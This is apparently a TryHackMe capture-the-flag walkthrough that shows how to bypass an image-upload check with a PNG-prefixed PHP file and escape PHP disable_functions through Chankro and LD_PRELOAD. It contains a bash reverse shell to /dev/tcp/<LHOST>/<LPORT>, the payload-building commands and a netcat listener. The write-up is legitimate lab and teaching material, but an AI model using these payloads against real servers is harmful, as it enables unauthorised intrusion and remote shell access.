THM: Bypass Disable Functions
Introduction
In the Bypass Disable Functions CTF we can learn how to execute command by leveraging the LD_PRELOAD
env. And how to bypass file upload validation checking the file header. The CTF is available for free on TryHackMe and it's difficulty level is Info (as the actual solution is part of the description).
Procedure
I use Kali Linux run on a virtual machine and connect to the target machine over TryHackMe VPN. In the description I use RHOST
to denote the IP address of the target machine, and LHOST
to denote the IP address assigned to my machine within the VPN.
Reconnaissance
We start with inspecting open ports on the target machine using nmap
.
sudo nmap -sC -sV -O -sS $RHOST
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)
| 256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)
|_ 256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Ecorp - Jobs
[...]
We find that there are two open ports:
- 22 (ssh) handled by OpenSSH Server.
- 80 (http) handled by Apache HTTP Server.
We skip further analysis of the service versions, and instead focus on the web application.
Let's start manual inspection of the website using Burp Suite proxy to track the requests history.
In the top menu bar we see the "Apply Job" button which leads us to a file upload page under the /cv.php
. The page content informs us to use upload image file.
First, we upload an image file as suggested. For the purpose we can use a PNG pixel image generated with png-pixel.com - further referred as pixel.png
. The file is uploaded successfully, the response has status 200 and the content contains string OK. Although, the image is not presented nowhere on the website. We can check whether the uploaded file is accessible for us. We start with a simple directory enumeration.
gobuster dir -r -u http://$RHOST -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.36.174
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/assets (Status: 200) [Size: 1689]
/index.html (Status: 200) [Size: 12012]
/phpinfo.php (Status: 200) [Size: 68158]
/server-status (Status: 403) [Size: 277]
/uploads (Status: 200) [Size: 941]
Progress: 4723 / 4724 (99.98%)
===============================================================
Finished
===============================================================
We find couple of interesting things:
/assets
directory,/phpinfo.php
page,/uploads
directory.
We inspect them manually, and find that:
/assets
- a directory containing static resources for the website,/phpinfo.php
shows the PHP configuration,/uploads
- a directory containing our uploaded file.
Preparation
As we found the directory with uploaded files, we get back to the upload page an examine the validation conditions. At first we test whether there is any validation by trying to upload a simple PHP script (script.php
).
<?php echo('pwned') ?>
We receive a response with 200 OK
status code, however the content includes string "Upload a real image", and the scripts.php
file is not present in the /uploads
directory.
There are two common file type validation methods:
- testing the extension in the file name,
- testing the file header.
It give us following test cases
- PNG file with
.png
extension (already done and succeed), - PHP file with
.php
extension (already done and failed), - PNG file with
.php
extension, - PHP file with
.png
extension.
We find that,
- PNG file with
.php
extension passes the validation and is put into/uploads
directory, and if requested it prints the file content, - PHP file with
.png
extensions fails the validation.
We can conclude that validation tests file headers but not the file extension. We leverage this fact and build the payload by concatenating the PNG image with actual script.
cat pixel.png script.php > payload.php
When requested, the uploads/payload.php
prints the content of the image followed by the "pwned" string. It means that PHP script is successfully executed.
We know how to upload and execute a PHP script, so we could try to upload a reverse shell script. However, as suggested in the challenge introduction, the PHP functions commonly used to execute system commands are disabled. We can confirm that, visit /phpinfo.php
and find disable_functions
directive.
Instead, we try the suggested solution - Chankro.
Quickly follow how the exploitation works.
The generated PHP script we are going to upload and execute:
- creates two files on the server: a shared object and actual malicious binary or script,
- sets the
LD_PRELOAD
environment variable to the path to shared object, - calls
mail()
function which executessendmail
command in the system.
Now the "magic" happens:
- to execute the
sendmail
binary requires shared dependencies to be loaded, - the
LD_PRELOAD
environment defines custom list of shared objects to be loaded, - our shared object defines a constructor function which is called before the main program,
- and finally, the constructor function executes our malicious binary or script.
Exploitation
To generate the script we need to set following options,
- target system architecture - we can assume it's 64-bit,
- binary or script we want to execute - we use a bash reverse shell we can find on Reverse Shell Generator,
- output filename - let it be
exploit.php
, - and path on the server where the files (shared object and script) will be created - the root directory we find in the
/phpinfo.php
output listed asApache Environment
variableDOCUMENT_ROOT
, followed by/uploads
so we can check that the file were actually created. In my case the path is/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads
In the revshell.sh
script replace <LHOST>
with your IP address within the VPN and <LPORT>
with a port on which you will be listening.
#!/bin/bash
/bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
We make sure current directory contains the reverse shell script (revshell.sh
) and the PNG file (pixel.png
), then run the following commands.
git clone https://github.com/TarlogicSecurity/Chankro.git
python2 Chankro/chankro.py --arch 64 --input revshell.sh --output exploit.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads
cat pixel.png exploit.php > payload.php
If everything run successfully you can examine the file generated by Chankro - exploit.php
, and the final payload we will upload to the target - payload.php
.
Before we continue we start listening for the reverse shell.
nc -lvnp <LPORT>
Once we upload and request the payload.php
, we get the shell prompt in netcat.
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$
Working on objectives
Now, we can explore the target's filesystem, or simply search for the flag and print it.
find / -type f -name flag.txt 2>/dev/null
/home/s4vi/flag.txt
cat /home/s4vi/flag.txt
thm{not_so_easy_try_it_yourself!}
Mission complete!
Final thoughts
Not surprising that the difficulty level of this challenge is Info as the solution is given. However, I decided to learn more about the LD_PRELOAD
trick as I knew only that it allows custom shared objects to be loaded, but did not how to actually build such shared object and use it for exploitation. I found couple of interesting resources (list below) and probably I write a note about this topic in the near future.
- man 8 ld.so - more details about the shared object loading and
LD_PRELOAD
environment variable. - gcc: attribute (constructor) - how the function in shared object is invoked, there is another method using ld init function.
- Build a shared library using GCC - how to build a shared object.